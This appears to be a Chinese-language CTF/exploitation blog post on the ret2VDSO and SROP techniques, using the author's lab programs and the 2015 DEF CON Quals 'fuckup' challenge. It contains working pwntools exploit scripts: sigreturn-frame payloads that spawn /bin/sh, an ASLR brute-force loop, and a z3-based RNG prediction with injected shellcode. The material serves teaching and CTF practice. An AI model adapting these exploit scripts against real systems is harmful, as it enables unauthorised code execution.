用 SROP 的时候,一般情况下很难找得到 syscall ; ret
,这时就需要在 VDSO 中找了。
What is VDSO
VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西,它是虚拟的,与虚拟内存一样,在计算机中本身并不存在。因为有些系统调用经常被用户使用,这就会出现大量的用户态与内核态切换的开销。VDSO 将内核态的调用映射到用户态的地址空间中,可以大量减少这样的开销,同时也可以使路径更好。
这里路径更好指的是,不需要使用传统的
int 0x80
来进行系统调用,不同的处理器实现了不同的快速系统调用指令(Intel 实现了sysenter
、sysexit
;AMD 实现了syscall
、sysret
),由此自然就会出现兼容性问题。所以 Linux 实现了vsyscall
接口,在底层会根据具体的结构来进行具体操作。而vsyscall
就实现在 VDSO 中。
Linux(2.6 及以上的版本)环境下执行 ldd /bin/sh
,会发现有个名字叫 linux-vdso.so.1
(老点的版本是 linux-gate.so.1
)的动态文件,而系统中却找不到它,它就是 VDSO。例如:
$ ldd /bin/sh
linux-vdso.so.1 => (0x00007ffda1746000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9a4da29000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9a4e01b000)
不光是快速系统调用,glibc 现在也提供了 VDSO 的支持,open()
、read()
、write()
、gettimeofday()
都可以直接用 VDSO 中的实现,使得这些调用更快,glibc 更兼容,内核新特性在不影响 glibc 的情况下也可以更快的部署。
Why ret2VDSO?
在 x86 系统中,传统的系统调用 int 0x80
并没有很好的效果,因此在 Intel 新型的 CPU 提供了新的系统调用指令(2.6 及以上的版本支持新型系统调用机制):
sysenter
sysexit
VDSO 可以降低在传统的 int 0x80
的额外开销以及提供了 sigreturn
可以使用 SROP。
其中 vsyscall 固定地址中存在 syscall ; ret
:
assassinq>> x/3i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
可以写一个程序做一个系统调用的测试:
#include <time.h>
#include <stdio.h>
typedef time_t (*time_func)(time_t *);
int main(int argc, char *argv[]) {
time_t tloc;
int retval = 0;
time_func func = (time_func) 0xffffffffff600000;
retval = func(&tloc);
if (retval < 0) {
perror("time_func");
return -1;
}
printf("%ld\n", tloc);
return 0;
}
总而言之,就是在 VDSO 中存在 syscall ; ret
可以被 SROP 利用。
How ret2VDSO?
sysenter
其参数传递方式和 int 0x80
是一样的,但是需要先做好 Function Prologue:
push ebp ; mov ebp, esp
以及需要找到一个好的 Gadget 来做 Stack Pivot。
ret2VDSO Theory
获取 VDSO 的方法:
- 暴力破解
- 通过泄漏
- 使用 ld.so 中的
_libc_stack_end
找到 stack 其实位置,计算 ELF Auxiliary Vector Offset 并从中取出AT_SYSINFO_EHDR
; - 使用 ld.so 中的
_rtld_global_ro
的某个 Offset 也有 VDSO 的位置。 - 尤其注意的是在开了 ASLR 的情况下,VDSO 的利用是有一定优势的
- 在 x86 环境下:只有一个字节是随机的,所以我们可以很容易暴力解决;
- 在 x64 环境下:在开启了 PIE 的情形下,有 11 字节是随机的,例如:CVE-2014-9585。但是在 Linux 3.182.2 版本之后,这个已经增加到了 18 个字节的随机
- 使用 ld.so 中的
查看存储 VDSO 的地址:
assassinq>> p &_rtld_global_ro._dl_sysinfo_dso
$1 = (const Elf32_Ehdr **) 0xf7ffced4 <_rtld_global_ro+468>
查看 VDSO 的地址(直接 vmmap 也行):
assassinq>> p _rtld_global_ro._dl_sysinfo_dso
$2 = (const Elf32_Ehdr *) 0xf7fd8000
通过 ELF Auxiliary Vector Offset 计算出 VDSO 的地址(泄露相应的栈上的值):
assassinq>> info auxv
32 AT_SYSINFO Special system info/entry points 0xf7fd8b50
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0xf7fd8000 <--- Address of VDSO
16 AT_HWCAP Machine-dependent CPU capability hints 0x9f8bfbff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
3 AT_PHDR Program headers for program 0x8048034
4 AT_PHENT Size of program header entry 32
5 AT_PHNUM Number of program headers 9
7 AT_BASE Base address of interpreter 0xf7fd9000
8 AT_FLAGS Flags 0x0
9 AT_ENTRY Entry point of program 0x8048340
11 AT_UID Real user ID 0
12 AT_EUID Effective user ID 0
13 AT_GID Real group ID 0
14 AT_EGID Effective group ID 0
23 AT_SECURE Boolean, was exec setuid-like? 0
25 AT_RANDOM Address of 16 random bytes 0xffffd8cb
31 AT_EXECFN File name of executable 0xffffdfd8 "/root/tmp/ret2VDSO_Example/main"
15 AT_PLATFORM String identifying platform 0xffffd8db "i686"
0 AT_NULL End of vector 0x0
事实证明 VDSO 也没有非常随机,可以做一个测试:
$ ldd /bin/ls
linux-vdso.so.1 => (0x00007ffff7ffa000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007ffff7bb5000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff77eb000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007ffff757b000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7377000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ffff715a000)
$ while true; do ldd /bin/ls; done | grep 0x00007ffff7ffa000
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
linux-vdso.so.1 => (0x00007ffff7ffa000)
...
Example
32 位下对 VDSO 进行爆破。程序如下,读入 0x400 的字节,足够塞一个构造的 sigcontext 了:
#include <stdio.h>
#include <unistd.h>
char buf[10] = "/bin/sh\x00";
void pwnme() {
char s[0x100];
char *welcome = "> ";
write(1, welcome, 2);
read(0, s, 0x400);
}
int main() {
pwnme();
return 0;
}
同时,我们在 VDSO 中可以找到 sigreturn 所对应的调用:
assassinq>> x/3i 0xf7fd8b71
0xf7fd8b71 <__kernel_sigreturn+1>: mov eax,0x77
0xf7fd8b76 <__kernel_sigreturn+6>: int 0x80
0xf7fd8b78 <__kernel_sigreturn+8>: nop
关闭 ASLR 对 ret2VDSO 进行测试:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.terminal = ['lxterminal', '-e']
context.arch = 'i386'
bin_sh_addr = 0x804a020
bss_addr = 0x804a030
p = process('./main')
#gdb.attach(p)
vdso_addr = 0xf7fd8000
print 'Try vdso %s' % hex(vdso_addr)
payload = 'A' * 0x110
frame = SigreturnFrame(kernel="i386")
frame.eax = constants.SYS_execve
frame.ebx = bin_sh_addr
frame.eip = vdso_addr + 0xb76 # address of int 0x80
frame.esp = bss_addr
frame.ebp = bss_addr
frame.gs = 0x63
frame.cs = 0x23
frame.es = 0x2b
frame.ds = 0x2b
frame.ss = 0x2b
ret_addr = vdso_addr + 0xb71 # address of sigreturn
payload += p32(ret_addr) + str(frame)
p.recvuntil('> ')
p.sendline(payload)
p.sendline('echo pwned')
data = p.recvuntil('pwned')
if data != 'pwned':
raise Exception, 'Failed'
p.interactive()
打开 ASLR 之后对 VDSO 进行爆破(32 位是 $\frac{1}{256}$ 的概率):
#!/usr/bin/env python
from pwn import *
bin_sh_addr = 0x804a020
bss_addr = 0x804a030
vdso_range = range(0xf7600000, 0xf7700000, 0x1000)
def bruteforce():
global p
context.arch = 'i386'
p = process('./main')
global vdso_addr
vdso_addr = random.choice(vdso_range)
print 'Try vdso %s' % hex(vdso_addr)
payload = 'A' * 0x110
frame = SigreturnFrame(kernel="i386")
frame.eax = constants.SYS_execve
frame.ebx = bin_sh_addr
frame.eip = vdso_addr + 0xb76 # address of int 0x80
frame.esp = bss_addr
frame.ebp = bss_addr
frame.gs = 0x63
frame.cs = 0x23
frame.es = 0x2b
frame.ds = 0x2b
frame.ss = 0x2b
ret_addr = vdso_addr + 0xb71 # address of sigreturn
payload += p32(ret_addr) + str(frame)
p.recvuntil('> ')
p.send(payload)
p.sendline('echo pwned')
data = p.recvuntil('pwned')
if data != 'pwned':
info('Failed')
return
if __name__ == '__main__':
global p, vdso_addr
i = 1
while True:
print 'Try %d' % i
try:
bruteforce()
except Exception as e:
info('Wrong VDSO')
p.close()
i += 1
continue
info('vdso_addr = ' + hex(vdso_addr))
break
p.interactive()
Example_x64
64 位下使用 AXUV 泄漏 VDSO 的例子。主要是输入一串长为 1024 的字符串:
section .text
global _start
jmp _start
vuln:
sub rsp, 8
mov rax, 0 ; sys_read
xor rdi, rdi
mov rsi, rsp
mov rdx, 1024
syscall
add rsp, 8
ret
_start:
call vuln
mov rax, 60 ; sys_exit
xor rdi, rdi
syscall
gadgets:
mov rdi, 1
ret
mov rax, 15
ret
syscall
ret
尝试利用 vsyscall 中的 syscall ; ret
没能成功,所以在程序后面又加了一个 Gadget 用来构造(具体什么原因没有找到)。在栈上泄漏 AUXV 之后,可以获取 VDSO 的基址以及输入的字符串在栈上的地址。脚本如下:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#context.terminal = ['lxterminal', '-e']
p = process('./main')
# id's of Auxillary Vectors
AT_SYSINFO_EHDR = 0x21
AT_HWCAP = 0x10
AT_PAGESZ = 0x06
AT_CLKTCK = 0x11
AT_PHDR = 0x03
AT_PHENT = 0x04
AT_PHNUM = 0x05
AT_BASE = 0x07
AT_FLAGS = 0x08
AT_ENTRY = 0x09
AT_UID = 0x0b
AT_EUID = 0x0c
AT_GID = 0x0d
AT_EGID = 0x0e
AT_SECURE = 0x17
AT_RANDOM = 0x19
AT_EXECFN = 0x1f
AT_PLATFORM = 0x0f
gdb.attach(p)
vuln_addr = 0x400082
set_write = 0x4000ac
syscall_addr = 0x400096
set_sigreturn = 0x4000b2
payload = '/bin/sh\x00'
payload += p64(vuln_addr)
payload += p64(set_write)
payload += p64(syscall_addr)
payload += 'A' * 8
payload += p64(vuln_addr)
raw_input('@')
p.send(payload)
payload = 'A'
raw_input('@')
p.send(payload)
ENV_AUX_VEC = p.recv(1024)
QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
QWORD_LIST.append(u64(ENV_AUX_VEC[i:i + 8]))
start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # 计算AUXV的起始地址
info(hex(start_aux_vec))
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i + 2] for i in range(0, len(AUX_VEC_ENTRIES), 2))
vdso_addr = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
info("vdso_addr = " + hex(vdso_addr))
bin_sh_addr = AUX_VEC_ENTRIES[AT_RANDOM] - 0x379 # 获取“/bin/sh”地址
info("bin_sh_addr = " + hex(bin_sh_addr))
syscall_ret = 0xffffffffff600007
syscall_ret = 0x4000b8
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh_addr
frame.rip = syscall_addr
payload = 'A' * 8 + p64(set_sigreturn) + p64(syscall_ret) + str(frame)
raw_input('@')
p.send(payload)
p.interactive()
fuckup
2015 Defcon Quals 中这道题可以使用 ret2VDSO 和 SROP。具体没能复现出来,主要理解一下思想。
$ checksec ./fuckup
[*] '/home/beale/Desktop/2015-Defcon-Quals-fuckup/fuckup'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
总共有五个选项,选项 2 会修改程序段和栈的基址,并重新指向新的地址;选项 3 会告诉我们当前的随机数并再次随机化程序段;选项 4 中可以进行溢出:
$ ./fuckup
Welcome to Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization, the new and improved ASLR.
This app is to help prove the benefits of F.U.C.K.U.P.
Main Menu
---------
1. Display info
2. Change random
3. View state info
4. Test stack smash
-------
0. Quit
在选项 2 的代码反编译后可以看到,每次用户执行命令时,程序会根据类似于 WELL512 的生成算法生成的随机数,改变二进制映射的存储器的基址:
int sub_80481A6()
{
...
do
{
seed_1 = WELL512() * 4294967295.0;
seed_2 = (signed __int64)seed_1;
addy = (void *)(seed_2 & 0xFFFFF000);
actual = my_mmap(seed_2 & 0xFFFFF000, 28672, 3, 34, -1, 0, v0, v0);
}
while ( (seed_2 & 0xFFFFF000) != actual );
qmemcpy(addy, dword_804EB40, 0x7000u);
my_mprotect(addy, 0x4000u, 5);
...
}
普通的思路肯定是做不了的。使用 VDSO 的思路大致如下:
- 因为 32 位下 VDSO 只有 1 字节是随机的,可以暴力破解
- 直接溢出改返回地址,但只有 100 个字节
- 首先先利用 VDSO 的 Gadget 做出 sys_read 并加大输入的大小
- 将读入的内容放到 TLS(TLS 的位置在 VDSO 前一页)
- 使用 sysenter 将栈转移到 TLS 段
- 在第二次输入的时候将 /bin/sh 放到 TLS 段(这个时候栈已经搬到 TLS 了)
- 接着把 Sigreturn Gadget 以及 Fake Signal Frame 一并放进,然后可以直接 execve 执行 /bin/sh
- 循环直到成功 get shell
还可以通过 z3 对伪随机数进行预测,脚本如下:
#!/usr/bin/env python
from pwn import *
from z3 import *
import time
context.log_level = 'debug'
context.arch = 'i386'
state = [BitVec("a1_{0}".format(i), 32) for i in range(16)]
def m(x):
return p32(x + offset)
def well512(index):
idx = (index+15) & 15
a = state[index]
c = state[(index+13) & 15]
b = a ^ c ^ ((a << 16) & 0xffffffff) ^ ((c << 15) & 0xffffffff)
c = state[(index+9) & 15]
c ^= (c >> 11)
state[(index+10) & 15] = c ^ b
a = state[idx]
d = ((32 * (c ^ b)) & 0xDA442D24) ^ c ^ b
state[idx] = a ^ b ^ d ^ ((a << 2) & 0xffffffff) ^ (
(b << 18) & 0xffffffff) ^ ((c << 28) & 0xffffffff)
return idx
def well512_z3(index):
idx = (index+15) & 15
a = state[index]
c = state[(index+13) & 15]
b = a ^ c ^ (a << 16) ^ (c << 15)
c = state[(index+9) & 15]
c ^= LShR(c, 11)
a = state[idx]
state[(index+10) & 15] = b ^ c
d = ((32 * (c ^ b)) & 0xDA442D24) ^ c ^ b
a = state[idx]
state[idx] = a ^ b ^ d ^ (a << 2) ^ (b << 18) ^ (c << 28)
return idx
def find_state(recv):
info('Start find state.')
global state
z = Solver()
idx = 15
for r in recv:
idx = well512_z3(idx)
z.add(state[idx] == r + 1)
return z
p = process('./fuckup')
def choice(c):
p.recvuntil('Quit\n')
p.sendline(str(c))
r_list = []
for i in range(15):
choice(3)
sleep(0.1)
r = int(p.recv(0x20)[0x11:0x19], 16)
r_list.append(r)
info(r_list)
z = find_state(r_list)
info('Solver result => ' + str(z.check()))
next_state = dict()
model = z.model()
for i in model:
idx = int(str(i)[3:])
val = model[i].as_long()
next_state[idx] = val
info(next_state)
for i in range(16):
if i in next_state:
state[i] = next_state[i]
idx = 15
for i in range(15):
idx = well512(idx)
idx = well512(idx)
predict_val = state[idx] - 1
info('predict_val = ' + hex(predict_val))
current_base = 0xfffff000 & predict_val
info('current_base = ' + hex(current_base))
base = 0x8048000
offset = current_base - base
# 0x0804908f : pop eax ; pop ebx ; pop esi ; ret
pop_eax_ebx_esi_ret = 0x0804908f
# 0x0804961a : pop edx ; pop ecx ; pop ebx ; ret
pop_edx_ecx_ebx_ret = 0x0804961a
# 0x0804875f : int 0x80
int_0x80 = 0x0804875f
payload = 'A' * 0x16
payload += m(pop_eax_ebx_esi_ret)
payload += p32(0x7D)
payload += p32(0)
payload += p32(0)
payload += m(pop_edx_ecx_ebx_ret)
payload += p32(0x7)
payload += p32(0x1000)
payload += p32(current_base)
payload += m(int_0x80)
payload += m(pop_eax_ebx_esi_ret)
payload += p32(0x3)
payload += p32(0)
payload += p32(0)
payload += m(pop_edx_ecx_ebx_ret)
payload += p32(0x100)
payload += p32(current_base)
payload += p32(0)
payload += m(int_0x80)
payload += p32(current_base)
payload = payload.ljust(100, 'A')
payload += asm(shellcraft.sh())
p.sendline('4')
p.sendline(payload)
p.interactive()
References
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#ret2vdso
http://adam8157.info/blog/2011/10/linux-vdso/
https://bestwing.me/stack-overflow-three-SROP.html
https://www.anquanke.com/post/id/85810
https://binlep.github.io/2020/03/03/%E3%80%90Pwn%20%E7%AC%94%E8%AE%B0%E3%80%91%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93%20--%20Advanced%20ROP/
https://www.voidsecurity.in/2014/12/return-to-vdso-using-elf-auxiliary.html
https://vvl.me/2019/06/linux-syscall-and-vsyscall-vdso-in-x86/
https://pwnexpoit.tistory.com/13
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!